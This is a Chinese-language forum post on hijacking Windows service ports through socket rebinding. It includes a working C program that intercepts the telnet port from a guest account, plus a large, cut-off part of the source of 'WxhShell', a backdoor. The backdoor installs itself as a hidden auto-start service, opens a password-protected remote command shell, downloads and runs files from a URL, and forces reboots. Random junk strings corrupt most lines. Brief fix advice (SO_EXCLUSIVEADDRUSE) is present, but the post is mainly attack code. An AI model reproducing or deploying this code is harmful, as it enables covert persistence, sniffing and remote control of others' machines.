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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {Q-U=me\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e56#Qb@$\  
((5zwD  
  saddr.sin_family = AF_INET; XgbGC*dQ  
wiGwN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &Ch)SD  
|HEw~x<=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t,+S~Cj|  
iWCV(!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s +GF- kJ*  
IN"vi|1  
  这意味着什么?意味着可以进行如下的攻击: N:<O  
Y]lqtre*Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D=\|teA&  
vq s~a7E-P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,,J3 h  
C1/jA>XW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;FmSL#]I  
c`+ITNV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HDEG/k/~m  
;1dz?'%V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /'1y`j<  
v<SEGv-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KRtu@;?  
93J)9T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }*'ha=`J  
4yA`);r62  
  #include 6+5Catsn  
  #include V!P3CNK  
  #include ]Rye AJ3  
  #include    AAW7@\q.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |z'?3?,~  
  int main() j+9 S  
  { m\f_u*  
  WORD wVersionRequested; (*ng$z Z$  
  DWORD ret; nADd,|xD3  
  WSADATA wsaData; /ZDc=>)~  
  BOOL val; {X$Mwqhpp;  
  SOCKADDR_IN saddr;  SoX V  
  SOCKADDR_IN scaddr; R u5&xIQ  
  int err; X{ =[q|P  
  SOCKET s; FT;JYkO  
  SOCKET sc; J$Epj  
  int caddsize; G|lI=Q3f  
  HANDLE mt; !_) ^bRd  
  DWORD tid;   4I*Mc%dD  
  wVersionRequested = MAKEWORD( 2, 2 ); Q.1ohj0)  
  err = WSAStartup( wVersionRequested, &wsaData ); zl\#n:|  
  if ( err != 0 ) { d]3sC  
  printf("error!WSAStartup failed!\n"); H1nQ.P]_  
  return -1; 0vp I#q  
  } &w0=/G/T=~  
  saddr.sin_family = AF_INET; ak>NKK8P  
   kKM%    
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b..$5  
Z-|C{1}A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pG @iR*?  
  saddr.sin_port = htons(23); qfu2}qUX~%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6W=:`14  
  { "^z=r]<5  
  printf("error!socket failed!\n"); A232"p_  
  return -1; E5 oD|'=WA  
  } Y2-bU 7mo  
  val = TRUE; )^H9C"7T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Aa>gN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S=p u  
  { l;A_Aii(  
  printf("error!setsockopt failed!\n"); m;f?}z_\$  
  return -1; }qhK.e  
  } wF8\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j\f$r,4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *]WXM.R8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  ~C/KA6H  
od1omYsR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <y!r~?  
  { UwkX[u  
  ret=GetLastError(); 0@lC5-=  
  printf("error!bind failed!\n"); &|}IBu:T  
  return -1; i[{] LiP  
  } yrAzD=  
  listen(s,2); (Fzh1#  
  while(1) lzG;F]  
  { NCnId}BT  
  caddsize = sizeof(scaddr); hxVM]e[  
  //接受连接请求 b U]N^og^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [IFRwQ^%_O  
  if(sc!=INVALID_SOCKET) ;Ia1L{472m  
  { jHH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O/9%"m:i  
  if(mt==NULL) WV1 Z  
  { |HG b.^f?  
  printf("Thread Creat Failed!\n"); qLi9ym, ]  
  break;  |7zP 8  
  } \.P}`Bpa  
  } G*i#\   
  CloseHandle(mt); I<./(X[H:#  
  } ^r*%BUU9]%  
  closesocket(s); Gr$*t,ZW  
  WSACleanup(); / 7XdV  
  return 0; ~e77w\Q0  
  }   QX.6~*m1  
  DWORD WINAPI ClientThread(LPVOID lpParam) %K'*P56  
  { m}[~A@qD  
  SOCKET ss = (SOCKET)lpParam; _SC  
  SOCKET sc; ?vn 0%e868  
  unsigned char buf[4096]; 1{x~iZa  
  SOCKADDR_IN saddr; ZT"|o\G^Q  
  long num; Q\#{2!I  
  DWORD val; H r^15  
  DWORD ret; )_*a7N!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \h7J/es^p!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Mp"ci+Iu  
  saddr.sin_family = AF_INET; qzt2j\v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I"32[?0 (;  
  saddr.sin_port = htons(23); $Cd;0gdv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;Z1U@2./  
  { (SsH uNt.  
  printf("error!socket failed!\n"); !Vr45l  
  return -1; =j+oKGkoCa  
  } $dTfvd  
  val = 100; 9id~NNr7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o1X/<.0+  
  { GGc_9?h  
  ret = GetLastError(); "Dl9<EZ  
  return -1; ?ey&Un"  
  } MAe<.DHY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `x$}~rP&)!  
  { +GYMJK`S+  
  ret = GetLastError(); xcZ%,7  
  return -1; M&djw`B  
  } s>@#9psm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iCnUnR{  
  { T dP{{&'9  
  printf("error!socket connect failed!\n"); LlA`QLe  
  closesocket(sc); rw8J:?0x  
  closesocket(ss); nN=:#4 >Y  
  return -1; mE^tzyh  
  } >!Ap/{2  
  while(1) HM@}!6/s  
  { qSoBj&6y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?Tc)f_a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 foz5D9sQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kyxSIQ^  
  num = recv(ss,buf,4096,0);  9VUm=Z#`  
  if(num>0) |c oEBFG  
  send(sc,buf,num,0); F7Dc!JNa  
  else if(num==0) &@W4^- 9  
  break; 2&gVZz  
  num = recv(sc,buf,4096,0); !/4 V^H  
  if(num>0) c[h'`KXJf-  
  send(ss,buf,num,0); g/ l0}%  
  else if(num==0) NT;x1  
  break; O~#uQm  
  } >2lAy:B5  
  closesocket(ss); *]m kyAhi  
  closesocket(sc); uZ/7t(fy  
  return 0 ; (Gi+7GMV'  
  } g\qL}:  
n=G>y7b  
| 3N.5{  
========================================================== sm2p$3v  
/=muj9|+s  
下边附上一个代码,,WXhSHELL D]pK=247  
s-GleX<  
========================================================== 6)#- 5m  
rKzv8d  
#include "stdafx.h" ayH%  qp  
| or 8d>,  
#include <stdio.h> T$n>7X-r  
#include <string.h> P34LV+e  
#include <windows.h> xxLgC;>[  
#include <winsock2.h> `rz`3:ZH  
#include <winsvc.h> CRc!|?  
#include <urlmon.h> 6VH90KAT  
f/0v' Jt  
#pragma comment (lib, "Ws2_32.lib") Siz!/O!'  
#pragma comment (lib, "urlmon.lib") eg$5z Z  
{{.sEi*  
#define MAX_USER   100 // 最大客户端连接数 |5O >>a()  
#define BUF_SOCK   200 // sock buffer Et}C`vZ+Ve  
#define KEY_BUFF   255 // 输入 buffer lPRdwg-  
h;EwkbDQg>  
#define REBOOT     0   // 重启 .#=j <&  
#define SHUTDOWN   1   // 关机 ;.nP%jD  
}\`(m\2xo  
#define DEF_PORT   5000 // 监听端口 POqRHuFq  
2fkIdy#n@  
#define REG_LEN     16   // 注册表键长度 ~T>jBYI0  
#define SVC_LEN     80   // NT服务名长度 (#j2P0B  
Gut J_2f^9  
// 从dll定义API O1x0[sy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aCU7w5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -5V)q.Og  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T6h;Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8 zQ_xE  
A*7Io4e!  
// wxhshell配置信息 bK03 S Vx  
struct WSCFG { kyW6S+#-  
  int ws_port;         // 监听端口 ASzzBR;?_  
  char ws_passstr[REG_LEN]; // 口令 ^8?j~&u$F  
  int ws_autoins;       // 安装标记, 1=yes 0=no tC2 )j7@  
  char ws_regname[REG_LEN]; // 注册表键名 `a9k!3_L  
  char ws_svcname[REG_LEN]; // 服务名 ?%\mQmjas  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 , @%C8Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vp\PYg;x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ! Q|J']|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JqI6k6~Q^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c }<*~w;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~vW)1XnK  
S|K |rDr0n  
}; 6}VUD -}B  
I@3Q=14k%  
// default Wxhshell configuration B>~k).M&,  
struct WSCFG wscfg={DEF_PORT, awj+#^  
    "xuhuanlingzhe", hAV2F #  
    1, 94T}iY.  
    "Wxhshell", )u39}dpeu  
    "Wxhshell", D^66p8t  
            "WxhShell Service", 8_xnWMOe  
    "Wrsky Windows CmdShell Service", Sk8%(JD7  
    "Please Input Your Password: ", o"'iX UJ  
  1, %B#hb<7}  
  "http://www.wrsky.com/wxhshell.exe", Z |2E b*  
  "Wxhshell.exe" R&6n?g6@/V  
    }; N4I^.k<-A  
<A#5v\{.;~  
// 消息定义模块 >Hdjsu5{N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vP3K7En  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uz*d^gr}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  M*d-z  
char *msg_ws_ext="\n\rExit."; wXc,FD$  
char *msg_ws_end="\n\rQuit."; #V<`U:.  
char *msg_ws_boot="\n\rReboot..."; n_<mPU  
char *msg_ws_poff="\n\rShutdown..."; o;ik Z*+*  
char *msg_ws_down="\n\rSave to "; r#LnDseW  
>$2E1HW.  
char *msg_ws_err="\n\rErr!"; |'ZN!2u  
char *msg_ws_ok="\n\rOK!"; _ymJ~MK  
IYuyj(/!  
char ExeFile[MAX_PATH]; &g*klt'B  
int nUser = 0; |.1qy,|!X  
HANDLE handles[MAX_USER]; 98BYtxa  
int OsIsNt; V3## B}2[Y  
.W!tveX8-  
SERVICE_STATUS       serviceStatus; E;9Z\?P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >HE,'  
4Z*|Dsw  
// 函数声明 M6# \na  
int Install(void); 'b8R#R\P  
int Uninstall(void); KuA>"X  
int DownloadFile(char *sURL, SOCKET wsh); M[A-1]'  
int Boot(int flag); Oc7 >S.1  
void HideProc(void); jyNb(Z  
int GetOsVer(void); ?#?e(mpo  
int Wxhshell(SOCKET wsl); D^|jZOJ  
void TalkWithClient(void *cs); p?Z(rCp  
int CmdShell(SOCKET sock); 3f_i1|>)'  
int StartFromService(void); .FuA;:@%\  
int StartWxhshell(LPSTR lpCmdLine); a lrt*V|=  
8|w-XR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }.'Z =yy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O'fk&&l  
|-|jf  
// 数据结构和表定义 .\$Wy$ d  
SERVICE_TABLE_ENTRY DispatchTable[] = d&hD[v  
{ L*P_vCC  
{wscfg.ws_svcname, NTServiceMain}, }qG#N  
{NULL, NULL} ,aI,2U91  
}; ]22C )<  
qc3~cH.@  
// 自我安装 :#WEx_]  
int Install(void) >b'w'"  
{ qB+n6y%  
  char svExeFile[MAX_PATH]; @\ }sb]  
  HKEY key; TfL4_IAG.  
  strcpy(svExeFile,ExeFile); X&s7% ]n+  
:ztyxJv1  
// 如果是win9x系统,修改注册表设为自启动 w5,6$#  
if(!OsIsNt) { RYt6=R+f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rw&y,%2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }f0u5:;Zth  
  RegCloseKey(key); VQ2Fnb4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~]4kkm7Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Ci13< KQ  
  RegCloseKey(key); K<#-"Xe;  
  return 0; q?yMa9ZZky  
    } yOc|*O=]U  
  } Fqo&3+J4  
} J2'K?|,m  
else { 90p3V\LO  
i(0hvV>'  
// 如果是NT以上系统,安装为系统服务 Hr6wgYPi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H"O$&  
if (schSCManager!=0) '|&,E#`  
{ ^PC\E}  
  SC_HANDLE schService = CreateService $:e)$Xnn-  
  ( P])L8zK  
  schSCManager, +lKrj\Xj  
  wscfg.ws_svcname, ^T{8uJ'kn  
  wscfg.ws_svcdisp, ?NlSeh  
  SERVICE_ALL_ACCESS, :Dayv6g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }C_|gd  
  SERVICE_AUTO_START, b"t")U==  
  SERVICE_ERROR_NORMAL, \BUqDd!  
  svExeFile, )=Zsv40O  
  NULL, o_O+u%y  
  NULL, uWTN 2jr  
  NULL, '6X%=f'^b  
  NULL, <PioQ>~  
  NULL P% Q@9kO>  
  ); .liyC~YW  
  if (schService!=0) qC..\{z  
  { V}SyD(8~  
  CloseServiceHandle(schService); iD<6t_8),  
  CloseServiceHandle(schSCManager); O ^0"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;b1wk^,Hw~  
  strcat(svExeFile,wscfg.ws_svcname); gH'_ymT= 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o!utZmk$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6|^0_6_  
  RegCloseKey(key); %9X{{_  
  return 0; /$Z m~Mp  
    } \6:>{0\  
  } 2h<U  
  CloseServiceHandle(schSCManager); y@`~9$  
} /VO^5Dnb  
} wLUF v(&C  
gQ>2!Qc a-  
return 1; tOM(U-7Z&  
} 5>P7]?U.]  
wyzOcx>M  
// 自我卸载 |!Fk2Je,  
int Uninstall(void) ]^ #`j  
{ zP&q7 t;>  
  HKEY key; ZBJ3VK  
-w~(3(  
if(!OsIsNt) { .'/l'>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b_=8!Q.:  
  RegDeleteValue(key,wscfg.ws_regname); 2e.N"eLNt  
  RegCloseKey(key); 6-]h5L]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gqt-_gga  
  RegDeleteValue(key,wscfg.ws_regname); O3Uh+gKQ  
  RegCloseKey(key); [O_^MA,z  
  return 0; UiIF6-ZZ!  
  } &6/%k kv  
} U CRAw3=  
} W' ep6O  
else { J$QBI&D  
hiwIWd:H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gs_qO)~xo  
if (schSCManager!=0) 9 mPIykAj8  
{ k" YHsn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !| xZ6KV  
  if (schService!=0) j{;|g%5t  
  { ) * TF"  
  if(DeleteService(schService)!=0) { 5m7b\Mak  
  CloseServiceHandle(schService); QrC/ssf}  
  CloseServiceHandle(schSCManager); 6/6Rah!  
  return 0; *b"CPg/\  
  } ;'HF'Z  
  CloseServiceHandle(schService); -72j:nk  
  } Yj|]Uff8O  
  CloseServiceHandle(schSCManager); @Tr&`Hi  
} 8bOT*^b$H  
} h$ Da&$uyI  
>zmzK{A=  
return 1; ~+HoSXu@E  
} #)] c0]p  
Uo6(|mm  
// 从指定url下载文件 DMd ,8W7a  
int DownloadFile(char *sURL, SOCKET wsh) J?%}=_fsa  
{ -=)-sm'  
  HRESULT hr; 2+'|kt2  
char seps[]= "/"; ,J(lJ,c  
char *token; S0LszW)e  
char *file; RtC'v";6  
char myURL[MAX_PATH]; [M:S`{SbY  
char myFILE[MAX_PATH]; :c7CiP  
#3 bv3m  
strcpy(myURL,sURL); ArzDI{1  
  token=strtok(myURL,seps); @B`Md3$7  
  while(token!=NULL) \84v-VK  
  { p<5!0 2yQ\  
    file=token; 8Kk\*8 <  
  token=strtok(NULL,seps); OCnFEX"  
  } 0E6lmz`O  
kH?#B%N5  
GetCurrentDirectory(MAX_PATH,myFILE); 9?EVQ  
strcat(myFILE, "\\"); DMZ`Sx  
strcat(myFILE, file); MEq"}zrh  
  send(wsh,myFILE,strlen(myFILE),0); <m-.aK{9  
send(wsh,"...",3,0); Y"!uU.=xJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7pet Hi  
  if(hr==S_OK) 4o5i ."l  
return 0; } ` T8A  
else vM`~)rO@!  
return 1; )acV-+{  
[X/(D9J  
} Sj-[%D*  
6OB",  
// 系统电源模块 M"U OgS  
int Boot(int flag) vM4<d>  
{ 64U6C*w+  
  HANDLE hToken; >85zQ 1aL  
  TOKEN_PRIVILEGES tkp; ?QpNjsF  
HY)ESU !  
  if(OsIsNt) { mqFq_UX/ T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;&f1vi4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^o d<JD4  
    tkp.PrivilegeCount = 1; K]fpGo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SDBt @=Nl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zn)yFnB!TH  
if(flag==REBOOT) { `;F2n2@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fr5 Xp  
  return 0; 3z[ $4L'.  
} @`|)Ia<  
else { &5Y_>{,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hwu4:^OL|  
  return 0; @-"R$HOT  
} 9y~"|t  
  } w%xCTeK[  
  else { <KQ(c`KW7  
if(flag==REBOOT) { U7H9/<&o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qn=$8!Qqa  
  return 0; ndi+xaQtG  
} #ia;- 3  
else { #a,9B-X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ({[,$dEa;  
  return 0; #I%s 3  
} WY>Knp=  
} z"379b7cN  
T~k)uQ  
return 1; !LIlt`ag9  
} /1fwl5\  
^M[P-#X_  
// win9x进程隐藏模块 T bf:eVIG  
void HideProc(void) $j*Qo/x d  
{ Q"VMNvKYB  
D7Zm2Kj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z8&' f,  
  if ( hKernel != NULL ) CAgaEJhX3  
  { kso*}uh0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gx;O6S{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (lWq[0^N  
    FreeLibrary(hKernel); PW)aLycPK  
  } =~|:t&v=c  
{THqz$KN  
return; cm@;*  
} Vb)zZ^va+  
: F9|&q-W,  
// 获取操作系统版本 bQQVj?8jp  
int GetOsVer(void) !'W-6f  
{ jv&+<j`r  
  OSVERSIONINFO winfo; ~&g a1r2v?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); urZ8j?}c  
  GetVersionEx(&winfo); )2.)3w1_4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '^}+Fv<O  
  return 1; ~UPZ<  
  else g.C5r]=+&  
  return 0; }5bM1h#z  
} +nU.p/cK+\  
u#jC#u^M  
// 客户端句柄模块 &u8z5pls8  
int Wxhshell(SOCKET wsl) OJ,m1{9$}  
{ E%3TP_B3  
  SOCKET wsh; 7z'h a?  
  struct sockaddr_in client; Ade }g'  
  DWORD myID; 5w<A;f  
Yc#IFmC}  
  while(nUser<MAX_USER) }5n  
{ IZNOWX|Z;  
  int nSize=sizeof(client); >D _F!_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DW2>&|  
  if(wsh==INVALID_SOCKET) return 1; &<1 `O  
4#BRx#\O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $>w/Cy  
if(handles[nUser]==0) !j^&gRH  
  closesocket(wsh); bFGDgwe z  
else Qv{,wytyO  
  nUser++; f/ahwz  
  } "J19*<~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); , =y#m- 9  
ClQe4uo{  
  return 0; k-jahm4  
} oXgdLtsu  
r"]'`qP,  
// 关闭 socket 0k[2jh  
void CloseIt(SOCKET wsh) @d&H]5  
{ r9@AT(  
closesocket(wsh); ?R'Y?b  
nUser--; # c Fr   
ExitThread(0); TFH&(_b  
} 4gZ &^y'  
<z0WLw0'z  
// 客户端请求句柄 q7Es$zjX  
void TalkWithClient(void *cs) _vl}*/=Hc  
{ 4JMiyiW&  
X0uJNHO  
  SOCKET wsh=(SOCKET)cs; yyP-=Lhmo=  
  char pwd[SVC_LEN]; iRw&49  
  char cmd[KEY_BUFF]; };katqzEg  
char chr[1]; @;)PSp*j  
int i,j; ;y1Q6eN  
=8JB8ZFP  
  while (nUser < MAX_USER) { `_qK&&s  
wAF,H8 -DK  
if(wscfg.ws_passstr) { jRQ+2@n{E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pn%#w*'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r"wtZ]69  
  //ZeroMemory(pwd,KEY_BUFF); J;QUPpH Z  
      i=0; o0I9M?lP  
  while(i<SVC_LEN) { I:=dG[\h2  
]<trA$ 0  
  // 设置超时 ` \ZqgX4  
  fd_set FdRead; iHBB,x  
  struct timeval TimeOut; qVgd(?hJ#  
  FD_ZERO(&FdRead); h @/;`E[  
  FD_SET(wsh,&FdRead); >k(MUmhX  
  TimeOut.tv_sec=8; H^AE|U*-G  
  TimeOut.tv_usec=0; &M[f&_"8Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WES#ZYtT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :qj<p3w~}  
q,l)I+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :T@r*7hNT  
  pwd=chr[0]; ejePDgi_[  
  if(chr[0]==0xd || chr[0]==0xa) { Poy^RpnX  
  pwd=0; YT-=;uK^S  
  break; )K]pnH|  
  } 2F+gF~znQ  
  i++; q]c5MlJXF  
    } p*qPcuAA  
SW 8x]B  
  // 如果是非法用户,关闭 socket \8v91g91f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h*l&RR:i  
} wpo1  
^k/i-%k0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 07_oP(;jT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^DAu5|--R  
mG2'Y)Sz  
while(1) { E4oz|2!m  
Ciihsm  
  ZeroMemory(cmd,KEY_BUFF); 77,oPLSn  
eN>0wd5{L  
      // 自动支持客户端 telnet标准   p,!$/Q+l  
  j=0; 8OFj0S1r`  
  while(j<KEY_BUFF) { \:_3i\2p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oy\B;aAK  
  cmd[j]=chr[0]; H3KTir"on  
  if(chr[0]==0xa || chr[0]==0xd) { o(G"k  
  cmd[j]=0;  xvm5   
  break; h5~n 1qX  
  } ]k%PG-9  
  j++; dl|gG9u4Q  
    } wN Wka7P*  
/yPXMJ6W~R  
  // 下载文件 7{M>!} rY  
  if(strstr(cmd,"http://")) { ` E`HVZ}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D4Nu8Wr$  
  if(DownloadFile(cmd,wsh)) e x?v `9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hv)8K'u  
  else :%4imgY`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~)X[(T{  
  } %w}gzxN^  
  else { wS XVyg{  
nb, 2,H  
    switch(cmd[0]) { 3MBN:dbQ  
  !]koSw}  
  // 帮助 @F5f"8!.\  
  case '?': { <nHkg<O6Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w=_Jc8/.  
    break; 4 J^Q]-Z  
  } k4\UK#ODe  
  // 安装 4{na+M  
  case 'i': { grom\  
    if(Install()) /bVZ::A&_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ql{_%x?  
    else L8$1K&!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ib`-pRU;  
    break; #bnb ': f  
    } b{Zpux+  
  // 卸载 b$JBL_U5Ch  
  case 'r': { 3=.Y,ENM;  
    if(Uninstall()) On_@HQ/FI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B(5c9DI`  
    else ]N)DS+V/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ERMa# L  
    break; kuMKX`_  
    } 1 Y/$,Oa5  
  // 显示 wxhshell 所在路径 \Sy7 "a  
  case 'p': { 0D&>Gyc*0  
    char svExeFile[MAX_PATH]; fw-\|fP  
    strcpy(svExeFile,"\n\r"); iLX_T]1  
      strcat(svExeFile,ExeFile); p<GR SJIk=  
        send(wsh,svExeFile,strlen(svExeFile),0); !PUZWO  
    break; X&\d)/Y  
    } kI\tqNJi  
  // 重启 J./d!an  
  case 'b': { ~}9PuYaD@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MXp3g@Cz  
    if(Boot(REBOOT)) }F=^O[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fb]S-z(  
    else { tjnPyaJEl  
    closesocket(wsh); Z*! O:/B  
    ExitThread(0); JgfVRqm   
    } ^krk&rW3  
    break; Djt%r<  
    } 3{7T4p.G  
  // 关机 TpfZ>d2  
